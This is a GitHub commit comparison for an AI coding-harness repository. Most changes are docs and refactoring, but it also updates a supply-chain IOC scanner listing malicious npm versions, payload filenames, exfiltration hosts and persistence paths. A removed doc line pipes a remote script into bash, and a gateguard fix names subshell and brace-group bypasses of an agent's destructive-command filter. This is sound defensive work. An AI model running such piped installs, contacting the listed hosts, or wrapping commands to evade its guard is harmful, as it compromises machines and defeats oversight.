Compare commits

..

13 Commits

Author SHA1 Message Date
Affaan Mustafa
03ab47748c docs: fix windows e2e debug helper 2026-05-15 08:07:58 -04:00
CodeQC
27f9480ca4 feat(skills): enrich windows-desktop-e2e with trace/dpi/diagnostics
- opt-in E2E_TRACE for step-level screenshots + JSONL action log;
  text content redacted by default (E2E_TRACE_INCLUDE_TEXT to opt in)
- DPI/scaling rules + debug_match() helper for screenshot fallback
- flaky table covers Qt5 set_edit_text fallback and off-screen controls
2026-05-15 18:42:18 +08:00
Affaan Mustafa
f04702bdac Expand Mini Shai-Hulud IOC coverage (#1921) 2026-05-15 03:20:10 -04:00
Affaan Mustafa
4774946db5 docs(sponsors): tighten tier structure + grandfather existing sponsors + add Business/Team featured sections 2026-05-15 02:56:18 -04:00
Affaan Mustafa
c211791e95 docs(readme): add Pro/Sponsor/GitHub App CTA block + update stats (140K to 182K) 2026-05-15 02:55:23 -04:00
Affaan Mustafa
e8e9df52a6 fix: harden supply-chain IOC scan (#1918) 2026-05-15 02:50:50 -04:00
Affaan Mustafa
5349d991c2 fix: harden dashboard canary and IOC coverage (#1917)
fix: harden dashboard canary and IOC coverage
2026-05-15 02:25:48 -04:00
Affaan Mustafa
381e6cd16a docs: align rules README install namespace (#1916)
docs: align rules README install namespace
2026-05-15 02:25:31 -04:00
Affaan Mustafa
8af4b5dafb docs: align rules README install namespace 2026-05-15 02:07:43 -04:00
Affaan Mustafa
9af04f3965 fix: harden dashboard canary and IOC coverage 2026-05-15 02:06:46 -04:00
Affaan Mustafa
4546a2c144 fix: salvage dashboard and canary-watch PRs (#1915)
Salvage focused changes from #1910 and #1911 on a maintainer-owned branch after full CI.

- enrich canary-watch discovery terms for post-deploy verification prompts
- narrow dashboard bare except handlers, add debug logging, and avoid double-configuring widgets

Co-authored-by: EunCHanPark <93873648+EunCHanPark@users.noreply.github.com>
Co-authored-by: shenchangmin <503228482@qq.com>
2026-05-15 01:57:21 -04:00
SeungHyun
8cfadfea28 fix(hooks): close grouped command bypasses in gateguard (#1912)
Inspect executable bodies inside plain subshells and brace groups before applying destructive command classifiers.\n\nCo-authored-by: Jamkris <82251632+Jamkris@users.noreply.github.com>
2026-05-15 01:39:15 -04:00
Affaan Mustafa
e2992860ae docs: restore zh-CN autonomous-loops install warning (#1907)
Restore the zh-CN autonomous-loops warning so the translated skill no longer recommends piping a remote install script directly into bash.

Co-authored-by: Golfi92 <Golfi92@users.noreply.github.com>
2026-05-15 01:37:42 -04:00
15 changed files with 1074 additions and 188 deletions

View File

@@ -19,7 +19,7 @@
![Perl](https://img.shields.io/badge/-Perl-39457E?logo=perl&logoColor=white)
![Markdown](https://img.shields.io/badge/-Markdown-000000?logo=markdown&logoColor=white)
> **140K+ stars** | **21K+ forks** | **170+ contributors** | **12+ language ecosystems** | **Anthropic Hackathon Winner**
> **182K+ stars** | **28K+ forks** | **170+ contributors** | **12+ language ecosystems** | **Anthropic Hackathon Winner**
---
@@ -42,6 +42,41 @@ Works across **Claude Code**, **Codex**, **Cursor**, **OpenCode**, **Gemini**, *
ECC v2.0.0-rc.1 adds the public Hermes operator story on top of that reusable layer: start with the [Hermes setup guide](docs/HERMES-SETUP.md), then review the [rc.1 release notes](docs/releases/2.0.0-rc.1/release-notes.md) and [cross-harness architecture](docs/architecture/cross-harness.md).
---
<table>
<tr>
<td width="25%" align="center">
<a href="https://ecc.tools/pricing">
<strong> ECC Pro</strong><br />
<sub>Private repos · GitHub App · $19/seat/mo</sub>
</a>
</td>
<td width="25%" align="center">
<a href="https://github.com/sponsors/affaan-m">
<strong> Sponsor</strong><br />
<sub>Fund the OSS · From $5/mo</sub>
</a>
</td>
<td width="25%" align="center">
<a href="https://github.com/affaan-m/everything-claude-code/discussions">
<strong>Community</strong>
<br />
<sub>Discussions · Q&amp;A · Show & Tell</sub>
</a>
</td>
<td width="25%" align="center">
<a href="https://github.com/apps/ecc-tools">
<strong> GitHub App</strong><br />
<sub>Install · PR audits · Free tier</sub>
</a>
</td>
</tr>
</table>
<sub>**OSS stays free.** This repo is MIT-licensed forever. ECC Pro is the hosted GitHub App for private repos. <a href="https://github.com/sponsors/affaan-m">Sponsors</a> and <a href="https://ecc.tools/pricing">Pro subscribers</a> fund the work — that's why a single maintainer ships weekly across 7 harnesses.</sub>
---
## The Guides

View File

@@ -1,59 +1,76 @@
# Sponsors
Thank you to everyone who sponsors this project! Your support keeps the ECC ecosystem growing.
Thank you to everyone funding ECC's open-source work. Your sponsorship is what lets the OSS layer stay free while the GitHub App, hosted security scans, and continuous improvements ship every week.
## Enterprise Sponsors
## Enterprise Sponsors — $2,500/mo
*Become an [Enterprise sponsor](https://github.com/sponsors/affaan-m) to be featured here*
*Become an [Enterprise sponsor](https://github.com/sponsors/affaan-m) to be featured here.*
## Business Sponsors
## Business Sponsors — $500/mo
*Become a [Business sponsor](https://github.com/sponsors/affaan-m) to be featured here*
| Sponsor | Logo | Since |
|---------|------|-------|
| [**CodeRabbit**](https://coderabbit.ai) | <img src="https://avatars.githubusercontent.com/u/132028505?s=120" width="60" alt="CodeRabbit" /> | 2026 |
## Team Sponsors
*[Become a Business sponsor](https://github.com/sponsors/affaan-m) to be featured here with logo placement in the main README hero and a quarterly case study.*
*Become a [Team sponsor](https://github.com/sponsors/affaan-m) to be featured here*
## Team Sponsors — $200/mo
## Individual Sponsors
| Sponsor | Since |
|---------|-------|
| [Mike Morgan](https://github.com/mikejmorgan-ai) | 2026 |
*Become a [sponsor](https://github.com/sponsors/affaan-m) to be listed here*
*[Become a Team sponsor](https://github.com/sponsors/affaan-m) to get small logo placement and 5 ECC Pro seats.*
## Pro Sponsors — $50/mo
*[Become a Pro sponsor](https://github.com/sponsors/affaan-m) to be listed here with your name in the main README sponsor row.*
## Builder Sponsors — $25/mo
- @jasonwu513 (grandfathered at $10)
- @1anter (grandfathered at $10)
- @massimotodaro (grandfathered at $10)
- @meadmccabe (grandfathered at $10)
*[Become a Builder sponsor](https://github.com/sponsors/affaan-m) to support the project and get your name in this list + a private monthly progress note.*
## Supporters — $5/mo
*[Become a Supporter](https://github.com/sponsors/affaan-m) to back the project with a profile badge and a thank-you in our release notes.*
---
## Sponsorship Tiers
| Tier | Monthly | Perks |
|------|--------:|-------|
| Supporter | $5 | Sponsor badge on profile, thank-you in release notes |
| Builder | $25 | Above + name in SPONSORS.md + private monthly progress note |
| Pro Sponsor | $50 | Above + name in main README + 1 quarterly roadmap vote |
| Team | $200 | Above + small org logo in README + 5 ECC Pro seats |
| Business | $500 | Above + featured logo in README hero + quarterly case study + Discord sponsors-lounge access |
| Enterprise | $2,500 | Above + unlimited Pro seats + 30 min/mo founder time + SLA + dedicated channel |
[**Become a Sponsor →**](https://github.com/sponsors/affaan-m)
For corporate sponsorship inquiries, custom partnerships, or PR integrations, email **affaan@ecc.tools** with your company name and intended tier. We'll move fast — most agreements close within 48 hours.
---
## Why Sponsor?
Your sponsorship helps:
Your sponsorship directly funds:
- **Ship faster** — More time dedicated to building tools and features
- **Keep it free** — Premium features fund the free tier for everyone
- **Better support** — Sponsors get priority responses
- **Shape the roadmap** — Pro+ sponsors vote on features
- **OSS work that stays free** — the core repo, AgentShield, install scripts, and skills library remain MIT
- **Weekly releases** — full-time work on the harness, not a side project
- **Independent maintenance** — no acquisition pressure, no rug pulls, no enshittification
- **Sponsor-driven roadmap** — Pro+ sponsors vote on direction, Business+ get case studies and integration support
## Sponsor Readiness Signals
## Existing Sponsors Are Grandfathered
Use these proof points in sponsor conversations:
- Live npm install/download metrics for `ecc-universal` and `ecc-agentshield`
- GitHub App distribution via Marketplace installs
- Public adoption signals: stars, forks, contributors, release cadence
- Cross-harness support: Claude Code, Cursor, OpenCode, Codex app/CLI
See [`docs/business/metrics-and-sponsorship.md`](docs/business/metrics-and-sponsorship.md) for a copy/paste metrics pull workflow.
## Sponsor Tiers
| Tier | Price | Benefits |
|------|-------|----------|
| Supporter | $5/mo | Name in README, early access |
| Builder | $10/mo | Premium tools access |
| Pro | $25/mo | Priority support, office hours |
| Team | $100/mo | 5 seats, team configs |
| Harness Partner | $200/mo | Monthly roadmap sync, prioritized maintainer feedback, release-note mention |
| Business | $500/mo | 25 seats, consulting credit |
| Enterprise | $2K/mo | Unlimited seats, custom tools |
[**Become a Sponsor →**](https://github.com/sponsors/affaan-m)
If you sponsored before May 2026, you keep your original perks at your original price. New tiers apply to new sponsors only.
---
*Updated automatically. Last sync: February 2026*
*Auto-updated by Hermes on every release. Last sync: 2026-05-14*

View File

@@ -23,8 +23,18 @@ credentials:
OpenSearch, Guardrails AI, Squawk, and other npm/PyPI packages.
- The live IOC set includes persistence through Claude Code
`.claude/settings.json`, VS Code `.vscode/tasks.json`, and OS-level
`gh-token-monitor` LaunchAgent/systemd services. Remove those persistence
hooks before rotating a stolen GitHub token.
`gh-token-monitor` LaunchAgent/systemd services. Some variants add a
dead-man-switch token description
`IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner`, malicious workflow
files such as `.github/workflows/codeql_analysis.yml`, and Python runtime
payloads such as `transformers.pyz` / `pgmonitor.py`. Remove those
persistence hooks before rotating a stolen GitHub token.
- The scanner also watches for late-reporting markers: `router_init.js`
SHA-256 prefix/suffix `ab4fcada...8601266c`, `tanstack_runner.js`
SHA-256 prefix/suffix `2ec78d55...6be27fc96`,
`opensearch_init.js`, `vite_setup.mjs`, campaign salt `svksjrhjkcejg`,
Session protocol strings, `claude@users.noreply.github.com` dead-drop
commits, `dependabout/` branch names, and `OhNoWhatsGoingOnWithGitHub`.
- The attack chain combined `pull_request_target`, GitHub Actions cache
poisoning across a fork/base trust boundary, and OIDC token extraction from a
GitHub Actions runner.
@@ -77,7 +87,11 @@ If ECC or a maintainer machine installed a known-bad package version:
- `.vscode/tasks.json` folder-open tasks and adjacent payload files;
- `~/Library/LaunchAgents/com.user.gh-token-monitor.plist`;
- `~/.config/systemd/user/gh-token-monitor.service`;
- `~/.local/bin/gh-token-monitor.sh`.
- `~/.config/systemd/user/pgsql-monitor.service`;
- `~/.local/bin/gh-token-monitor.sh`;
- `~/.local/bin/pgmonitor.py`;
- `/tmp/transformers.pyz`, `/tmp/pgmonitor.py`, and their
`/private/tmp/` equivalents on macOS.
5. Rotate every credential reachable by the process:
- npm automation tokens and maintainer tokens;
- GitHub PATs, fine-grained tokens, deploy keys, and Actions secrets;

View File

@@ -237,9 +237,7 @@ PROMPT 1协调器 PROMPT 2子代理
### 安装
```bash
curl -fsSL https://raw.githubusercontent.com/AnandChowdhary/continuous-claude/HEAD/install.sh | bash
```
> **警告:** 请在审阅代码后,从 continuous-claude 的仓库安装。不要将外部脚本直接管道传入 bash
### 用法

View File

@@ -10,10 +10,13 @@ import os
import json
from pathlib import Path
from typing import Dict, List, Optional
import logging
import webbrowser
from scripts.lib.ecc_dashboard_runtime import launch_terminal, maximize_window
logger = logging.getLogger(__name__)
# ============================================================================
# DATA LOADERS - Load ECC data from the project
# ============================================================================
@@ -112,9 +115,9 @@ def load_skills(project_path: str) -> List[Dict]:
if line.startswith('# '):
description = line[2:].strip()[:100]
break
except:
pass
except Exception:
logger.debug("Failed to parse skill file %s", skill_file, exc_info=True)
# Determine category
category = "General"
item_lower = item.lower()
@@ -186,9 +189,9 @@ def load_commands(project_path: str) -> List[Dict]:
if line.startswith('# '):
description = line[2:].strip()
break
except:
pass
except Exception:
logger.debug("Failed to parse command file %s", item, exc_info=True)
commands.append({
'name': cmd_name,
'description': description or cmd_name.replace('-', ' ').title()
@@ -280,8 +283,8 @@ class ECCDashboard(tk.Tk):
try:
self.icon_image = tk.PhotoImage(file='assets/images/ecc-logo.png')
self.iconphoto(True, self.icon_image)
except:
pass
except Exception:
logger.debug("Failed to load window icon", exc_info=True)
self.minsize(800, 600)
@@ -344,8 +347,8 @@ class ECCDashboard(tk.Tk):
self.logo_image = tk.PhotoImage(file='assets/images/ecc-logo.png')
self.logo_image = self.logo_image.subsample(2, 2)
ttk.Label(header_frame, image=self.logo_image).pack(side=tk.LEFT, padx=(0, 10))
except:
pass
except Exception:
logger.debug("Failed to load header logo", exc_info=True)
self.title_label = ttk.Label(header_frame, text="ECC Dashboard", font=('Open Sans', 18, 'bold'))
self.title_label.pack(side=tk.LEFT)
@@ -897,22 +900,20 @@ Project: github.com/affaan-m/everything-claude-code"""
def update_widget_colors(widget):
try:
widget.configure(background=bg_color)
except:
pass
for child in widget.winfo_children():
try:
child.configure(background=bg_color)
except:
pass
except Exception:
logger.debug("Cannot set background on %s", widget.__class__.__name__, exc_info=True)
try:
children = widget.winfo_children()
except Exception:
logger.debug("Cannot list child widgets on %s", widget.__class__.__name__, exc_info=True)
return
for child in children:
try:
update_widget_colors(child)
except:
pass
try:
update_widget_colors(self)
except:
pass
except Exception:
logger.debug("Cannot update child widget colors on %s", child.__class__.__name__, exc_info=True)
update_widget_colors(self)
self.update()

View File

@@ -55,25 +55,40 @@ rules/
> Flattening them into one directory causes language-specific files to overwrite
> common rules, and breaks the relative `../common/` references used by
> language-specific files.
>
> Use the ECC-owned namespace below for user-level Claude installs. Flat
> package-level destinations can collide with non-ECC rule packs and do not
> match the main README guidance.
```bash
# Create the ECC rule namespace once.
mkdir -p ~/.claude/rules/ecc
# Install common rules (required for all projects)
cp -r rules/common ~/.claude/rules/common
cp -r rules/common ~/.claude/rules/ecc/
# Install language-specific rules based on your project's tech stack
cp -r rules/typescript ~/.claude/rules/typescript
cp -r rules/angular ~/.claude/rules/angular
cp -r rules/python ~/.claude/rules/python
cp -r rules/golang ~/.claude/rules/golang
cp -r rules/web ~/.claude/rules/web
cp -r rules/swift ~/.claude/rules/swift
cp -r rules/php ~/.claude/rules/php
cp -r rules/ruby ~/.claude/rules/ruby
cp -r rules/arkts ~/.claude/rules/arkts
cp -r rules/typescript ~/.claude/rules/ecc/
cp -r rules/angular ~/.claude/rules/ecc/
cp -r rules/python ~/.claude/rules/ecc/
cp -r rules/golang ~/.claude/rules/ecc/
cp -r rules/web ~/.claude/rules/ecc/
cp -r rules/swift ~/.claude/rules/ecc/
cp -r rules/php ~/.claude/rules/ecc/
cp -r rules/ruby ~/.claude/rules/ecc/
cp -r rules/arkts ~/.claude/rules/ecc/
# Attention ! ! ! Configure according to your actual project requirements; the configuration here is for reference only.
```
For project-local rules, use the same namespace under the project root:
```bash
mkdir -p .claude/rules/ecc
cp -r rules/common .claude/rules/ecc/
cp -r rules/typescript .claude/rules/ecc/
```
## Rules vs Skills
- **Rules** define standards, conventions, and checklists that apply broadly (e.g., "80% test coverage", "no hardcoded secrets").

View File

@@ -11,10 +11,78 @@ const path = require('path');
const DEFAULT_ROOT = path.resolve(__dirname, '../..');
const MALICIOUS_PACKAGE_VERSIONS = {
'@mistralai/mistralai': ['2.2.3', '2.2.4'],
'@mistralai/mistralai-azure': ['1.7.2', '1.7.3'],
'@mistralai/mistralai-gcp': ['1.7.2', '1.7.3'],
'@opensearch-project/opensearch': ['3.6.2', '3.8.0'],
'@beproduct/nestjs-auth': [
'0.1.2',
'0.1.3',
'0.1.4',
'0.1.5',
'0.1.6',
'0.1.7',
'0.1.8',
'0.1.9',
'0.1.10',
'0.1.11',
'0.1.12',
'0.1.13',
'0.1.14',
'0.1.15',
'0.1.16',
'0.1.17',
'0.1.18',
'0.1.19',
],
'@cap-js/db-service': ['2.10.1'],
'@cap-js/postgres': ['2.2.2'],
'@cap-js/sqlite': ['2.2.2'],
'@dirigible-ai/sdk': ['0.6.2', '0.6.3'],
'@draftauth/client': ['0.2.1', '0.2.2'],
'@draftauth/core': ['0.13.1', '0.13.2'],
'@draftlab/auth': ['0.24.1', '0.24.2'],
'@draftlab/auth-router': ['0.5.1', '0.5.2'],
'@draftlab/db': ['0.16.1', '0.16.2'],
'@mesadev/rest': ['0.28.3'],
'@mesadev/saguaro': ['0.4.22'],
'@mesadev/sdk': ['0.28.3'],
'@ml-toolkit-ts/preprocessing': ['1.0.2', '1.0.3'],
'@ml-toolkit-ts/xgboost': ['1.0.3', '1.0.4'],
'@mistralai/mistralai': ['2.2.2', '2.2.3', '2.2.4'],
'@mistralai/mistralai-azure': ['1.7.1', '1.7.2', '1.7.3'],
'@mistralai/mistralai-gcp': ['1.7.1', '1.7.2', '1.7.3'],
'@opensearch-project/opensearch': ['3.5.3', '3.6.2', '3.7.0', '3.8.0'],
'@squawk/airport-data': ['0.7.4', '0.7.5', '0.7.6', '0.7.7', '0.7.8'],
'@squawk/airports': ['0.6.2', '0.6.3', '0.6.4', '0.6.5', '0.6.6'],
'@squawk/airspace': ['0.8.1', '0.8.2', '0.8.3', '0.8.4', '0.8.5'],
'@squawk/airspace-data': ['0.5.3', '0.5.4', '0.5.5', '0.5.6', '0.5.7'],
'@squawk/airway-data': ['0.5.4', '0.5.5', '0.5.6', '0.5.7', '0.5.8'],
'@squawk/airways': ['0.4.2', '0.4.3', '0.4.4', '0.4.5', '0.4.6'],
'@squawk/fix-data': ['0.6.4', '0.6.5', '0.6.6', '0.6.7', '0.6.8'],
'@squawk/fixes': ['0.3.2', '0.3.3', '0.3.4', '0.3.5', '0.3.6'],
'@squawk/flight-math': ['0.5.4', '0.5.5', '0.5.6', '0.5.7', '0.5.8'],
'@squawk/flightplan': ['0.5.2', '0.5.3', '0.5.4', '0.5.5', '0.5.6'],
'@squawk/geo': ['0.4.4', '0.4.5', '0.4.6', '0.4.7', '0.4.8'],
'@squawk/icao-registry': ['0.5.2', '0.5.3', '0.5.4', '0.5.5', '0.5.6'],
'@squawk/icao-registry-data': ['0.8.4', '0.8.5', '0.8.6', '0.8.7', '0.8.8'],
'@squawk/mcp': ['0.9.1', '0.9.2', '0.9.3', '0.9.4', '0.9.5'],
'@squawk/navaid-data': ['0.6.4', '0.6.5', '0.6.6', '0.6.7', '0.6.8'],
'@squawk/navaids': ['0.4.2', '0.4.3', '0.4.4', '0.4.5', '0.4.6'],
'@squawk/notams': ['0.3.6', '0.3.7', '0.3.8', '0.3.9', '0.3.10'],
'@squawk/procedure-data': ['0.7.3', '0.7.4', '0.7.5', '0.7.6', '0.7.7'],
'@squawk/procedures': ['0.5.2', '0.5.3', '0.5.4', '0.5.5', '0.5.6'],
'@squawk/types': ['0.8.1', '0.8.2', '0.8.3', '0.8.4', '0.8.5'],
'@squawk/units': ['0.4.3', '0.4.4', '0.4.5', '0.4.6', '0.4.7'],
'@squawk/weather': ['0.5.6', '0.5.7', '0.5.8', '0.5.9', '0.5.10'],
'@supersurkhet/cli': ['0.0.2', '0.0.3', '0.0.4', '0.0.5', '0.0.6', '0.0.7'],
'@supersurkhet/sdk': ['0.0.2', '0.0.3', '0.0.4', '0.0.5', '0.0.6', '0.0.7'],
'@tallyui/components': ['1.0.1', '1.0.2', '1.0.3'],
'@tallyui/connector-medusa': ['1.0.1', '1.0.2', '1.0.3'],
'@tallyui/connector-shopify': ['1.0.1', '1.0.2', '1.0.3'],
'@tallyui/connector-vendure': ['1.0.1', '1.0.2', '1.0.3'],
'@tallyui/connector-woocommerce': ['1.0.1', '1.0.2', '1.0.3'],
'@tallyui/core': ['0.2.1', '0.2.2', '0.2.3'],
'@tallyui/database': ['1.0.1', '1.0.2', '1.0.3'],
'@tallyui/pos': ['0.1.1', '0.1.2', '0.1.3'],
'@tallyui/storage-sqlite': ['0.2.1', '0.2.2', '0.2.3'],
'@tallyui/theme': ['0.2.1', '0.2.2', '0.2.3'],
'@tanstack/arktype-adapter': ['1.166.12', '1.166.15'],
'@tanstack/eslint-plugin-router': ['1.161.9', '1.161.12'],
'@tanstack/eslint-plugin-start': ['0.0.4', '0.0.7'],
@@ -57,35 +125,147 @@ const MALICIOUS_PACKAGE_VERSIONS = {
'@tanstack/vue-start-client': ['1.166.46', '1.166.49'],
'@tanstack/vue-start-server': ['1.166.50', '1.166.53'],
'@tanstack/zod-adapter': ['1.166.12', '1.166.15'],
'@taskflow-corp/cli': ['0.1.24', '0.1.25', '0.1.26', '0.1.27', '0.1.28', '0.1.29'],
'@tolka/cli': ['1.0.2', '1.0.3', '1.0.4', '1.0.5', '1.0.6'],
'@uipath/access-policy-sdk': ['0.3.1'],
'@uipath/access-policy-tool': ['0.3.1'],
'@uipath/agent.sdk': ['0.0.18'],
'@uipath/agent-sdk': ['1.0.2'],
'@uipath/agent-tool': ['1.0.1'],
'@uipath/admin-tool': ['0.1.1'],
'@uipath/aops-policy-tool': ['0.3.1'],
'@uipath/ap-chat': ['1.5.7'],
'@uipath/api-workflow-tool': ['1.0.1'],
'@uipath/apollo-core': ['5.9.2'],
'@uipath/apollo-react': ['4.24.5'],
'@uipath/apollo-wind': ['2.16.2'],
'@uipath/auth': ['1.0.1'],
'@uipath/case-tool': ['1.0.1'],
'@uipath/cli': ['1.0.1'],
'@uipath/codedagent-tool': ['1.0.1'],
'@uipath/codedagents-tool': ['0.1.12'],
'@uipath/codedapp-tool': ['1.0.1'],
'@uipath/common': ['1.0.1'],
'@uipath/context-grounding-tool': ['0.1.1'],
'@uipath/data-fabric-tool': ['1.0.2'],
'@uipath/docsai-tool': ['1.0.1'],
'@uipath/filesystem': ['1.0.1'],
'@uipath/flow-tool': ['1.0.2'],
'@uipath/functions-tool': ['1.0.1'],
'@uipath/gov-tool': ['0.3.1'],
'@uipath/identity-tool': ['0.1.1'],
'@uipath/insights-sdk': ['1.0.1'],
'@uipath/insights-tool': ['1.0.1'],
'@uipath/integrationservice-sdk': ['1.0.2'],
'@uipath/integrationservice-tool': ['1.0.2'],
'@uipath/llmgw-tool': ['1.0.1'],
'@uipath/maestro-sdk': ['1.0.1'],
'@uipath/maestro-tool': ['1.0.1'],
'@uipath/orchestrator-tool': ['1.0.1'],
'@uipath/packager-tool-apiworkflow': ['0.0.19'],
'@uipath/packager-tool-bpmn': ['0.0.9'],
'@uipath/packager-tool-case': ['0.0.9'],
'@uipath/packager-tool-connector': ['0.0.19'],
'@uipath/packager-tool-flow': ['0.0.19'],
'@uipath/packager-tool-functions': ['0.1.1'],
'@uipath/packager-tool-webapp': ['1.0.6'],
'@uipath/packager-tool-workflowcompiler': ['0.0.16'],
'@uipath/packager-tool-workflowcompiler-browser': ['0.0.34'],
'@uipath/platform-tool': ['1.0.1'],
'@uipath/project-packager': ['1.1.16'],
'@uipath/resource-tool': ['1.0.1'],
'@uipath/resourcecatalog-tool': ['0.1.1'],
'@uipath/resources-tool': ['0.1.11'],
'@uipath/robot': ['1.3.4'],
'@uipath/rpa-legacy-tool': ['1.0.1'],
'@uipath/rpa-tool': ['0.9.5'],
'@uipath/solution-packager': ['0.0.35'],
'@uipath/solution-tool': ['1.0.1'],
'@uipath/solutionpackager-sdk': ['1.0.11'],
'@uipath/solutionpackager-tool-core': ['0.0.34'],
'@uipath/tasks-tool': ['1.0.1'],
'@uipath/telemetry': ['0.0.7'],
'@uipath/test-manager-tool': ['1.0.2'],
'@uipath/tool-workflowcompiler': ['0.0.12'],
'@uipath/traces-tool': ['1.0.1'],
'@uipath/ui-widgets-multi-file-upload': ['1.0.1'],
'@uipath/uipath-python-bridge': ['1.0.1'],
'@uipath/vertical-solutions-tool': ['1.0.1'],
'@uipath/vss': ['0.1.6'],
'@uipath/widget.sdk': ['1.2.3'],
'agentwork-cli': ['0.1.4', '0.1.5'],
'cmux-agent-mcp': ['0.1.3', '0.1.4', '0.1.5', '0.1.6', '0.1.7', '0.1.8'],
'cross-stitch': ['1.1.3', '1.1.4', '1.1.5', '1.1.6', '1.1.7'],
'git-branch-selector': ['1.3.3', '1.3.4', '1.3.5', '1.3.6', '1.3.7'],
'git-git-git': ['1.0.8', '1.0.9', '1.0.10', '1.0.11', '1.0.12'],
'guardrails-ai': ['0.10.1'],
'intercom-client': ['7.0.4'],
'lightning': ['2.6.2', '2.6.3'],
'mbt': ['1.2.48'],
'mistralai': ['2.4.6'],
'ml-toolkit-ts': ['1.0.4', '1.0.5'],
'nextmove-mcp': ['0.1.3', '0.1.4', '0.1.5', '0.1.7'],
'safe-action': ['0.8.3', '0.8.4'],
'ts-dna': ['3.0.1', '3.0.2', '3.0.3', '3.0.4', '3.0.5'],
'wot-api': ['0.8.1', '0.8.2', '0.8.3', '0.8.4'],
};
const CRITICAL_TEXT_INDICATORS = [
'@tanstack/setup',
'github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c',
[
'github:tanstack/router#79ac49eedf774dd4b0cf',
'a308722bc463cfe5885c',
].join(''),
[
'79ac49eedf774dd4b0cf',
'a308722bc463cfe5885c',
].join(''),
'router_init.js',
'router_runtime.js',
'tanstack_runner.js',
'opensearch_init.js',
'vite_setup.mjs',
'bun run tanstack_runner.js',
'execution.js',
'transformers.pyz',
'pgmonitor.py',
'pgsql-monitor.service',
'gh-token-monitor',
'com.user.gh-token-monitor',
'IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner',
[
'ab4fcadaec49c032',
'78063dd269ea5ee',
'f82d24f2124a8e15',
'd7b90f2fa8601266c',
].join(''),
[
'2ec78d556d696e20',
'8927cc503d48e4b5e',
'b56b31abc2870c2e',
'd2e98d6be27fc96',
].join(''),
'svksjrhjkcejg',
'filev2.getsession.org',
'seed1.getsession.org',
'seed2.getsession.org',
'seed3.getsession.org',
'signalservice',
'snode',
'git-tanstack.com',
'litter.catbox.moe/h8nc9u.js',
'litter.catbox.moe/7rrc6l.mjs',
'83.142.209.194',
'api.masscan.cloud',
'claude@users.noreply.github.com',
'dependabout/',
'OhNoWhatsGoingOnWithGitHub',
'voicproducoes',
'A Mini Shai-Hulud has Appeared',
'Shai-Hulud: Here We Go Again',
'PUSH UR T3MPRR',
'codeql_analysis.yml',
'shai-hulud-workflow.yml',
];
const DEPENDENCY_FILENAMES = new Set([
@@ -104,16 +284,30 @@ const PERSISTENCE_FILENAMES = new Set([
'tasks.json',
'router_runtime.js',
'setup.mjs',
'pgmonitor.py',
'gh-token-monitor.sh',
'com.user.gh-token-monitor.plist',
'gh-token-monitor.service',
'pgsql-monitor.service',
'codeql_analysis.yml',
'shai-hulud-workflow.yml',
]);
const PAYLOAD_FILENAMES = new Set([
'router_init.js',
'router_runtime.js',
'tanstack_runner.js',
'opensearch_init.js',
'vite_setup.mjs',
'execution.js',
'transformers.pyz',
'pgmonitor.py',
'gh-token-monitor.sh',
'com.user.gh-token-monitor.plist',
'gh-token-monitor.service',
'pgsql-monitor.service',
'codeql_analysis.yml',
'shai-hulud-workflow.yml',
]);
const IGNORED_DIRS = new Set([
@@ -139,7 +333,8 @@ function isInSpecialConfigPath(filePath) {
|| /\/\.kiro\/settings\//.test(normalized)
|| /\/Library\/LaunchAgents\//.test(normalized)
|| /\/\.config\/systemd\/user\//.test(normalized)
|| /\/\.local\/bin\//.test(normalized);
|| /\/\.local\/bin\//.test(normalized)
|| /\/\.github\/workflows\//.test(normalized);
}
function shouldInspectFile(filePath) {
@@ -287,10 +482,21 @@ function homeTargets(homeDir) {
'.vscode/setup.mjs',
'Library/LaunchAgents/com.user.gh-token-monitor.plist',
'.config/systemd/user/gh-token-monitor.service',
'.config/systemd/user/pgsql-monitor.service',
'.local/bin/gh-token-monitor.sh',
'.local/bin/pgmonitor.py',
].map(relativePath => path.join(homeDir, relativePath));
}
function runtimeTargets() {
return [
'/tmp/transformers.pyz',
'/tmp/pgmonitor.py',
'/private/tmp/transformers.pyz',
'/private/tmp/pgmonitor.py',
];
}
function scanSupplyChainIocs(options = {}) {
const rootDir = path.resolve(options.rootDir || DEFAULT_ROOT);
const files = walkFiles(rootDir);
@@ -300,6 +506,9 @@ function scanSupplyChainIocs(options = {}) {
for (const target of homeTargets(options.homeDir || os.homedir())) {
if (fs.existsSync(target)) files.push(target);
}
for (const target of runtimeTargets()) {
if (fs.existsSync(target)) files.push(target);
}
}
for (const filePath of [...new Set(files)].sort()) {

View File

@@ -25,6 +25,11 @@
const crypto = require('crypto');
const fs = require('fs');
const path = require('path');
const {
extractCommandSubstitutions,
extractSubshellGroups,
extractBraceGroups
} = require('../lib/shell-substitution');
// Session state — scoped per session to avoid cross-session races.
const STATE_DIR = process.env.GATEGUARD_STATE_DIR || path.join(process.env.HOME || process.env.USERPROFILE || '/tmp', '.gateguard');
@@ -84,105 +89,6 @@ function explodeSubshells(input) {
return out;
}
/**
* Extract executable command-substitution bodies from a shell line. Single
* quotes are literal, so substitutions inside them are ignored; double quotes
* still permit substitutions, so those bodies are scanned before quoted text
* is stripped.
*
* @param {string} input
* @returns {string[]}
*/
function extractCommandSubstitutions(input) {
const source = String(input || '');
const substitutions = [];
let inSingle = false;
let inDouble = false;
for (let i = 0; i < source.length; i++) {
const ch = source[i];
const prev = source[i - 1];
if (ch === '\\' && !inSingle) {
i += 1;
continue;
}
if (ch === "'" && !inDouble && prev !== '\\') {
inSingle = !inSingle;
continue;
}
if (ch === '"' && !inSingle && prev !== '\\') {
inDouble = !inDouble;
continue;
}
if (inSingle) {
continue;
}
if (ch === '`') {
let body = '';
i += 1;
while (i < source.length) {
const inner = source[i];
if (inner === '\\') {
body += inner;
if (i + 1 < source.length) {
body += source[i + 1];
i += 2;
continue;
}
}
if (inner === '`') {
break;
}
body += inner;
i += 1;
}
if (body.trim()) {
substitutions.push(body);
substitutions.push(...extractCommandSubstitutions(body));
}
continue;
}
if (ch === '$' && source[i + 1] === '(') {
let depth = 1;
let body = '';
i += 2;
while (i < source.length && depth > 0) {
const inner = source[i];
if (inner === '\\') {
body += inner;
if (i + 1 < source.length) {
body += source[i + 1];
i += 2;
continue;
}
}
if (inner === '(') {
depth += 1;
} else if (inner === ')') {
depth -= 1;
if (depth === 0) {
break;
}
}
body += inner;
i += 1;
}
if (body.trim()) {
substitutions.push(body);
substitutions.push(...extractCommandSubstitutions(body));
}
}
}
return substitutions;
}
/**
* Split a command line into top-level segments at unquoted shell
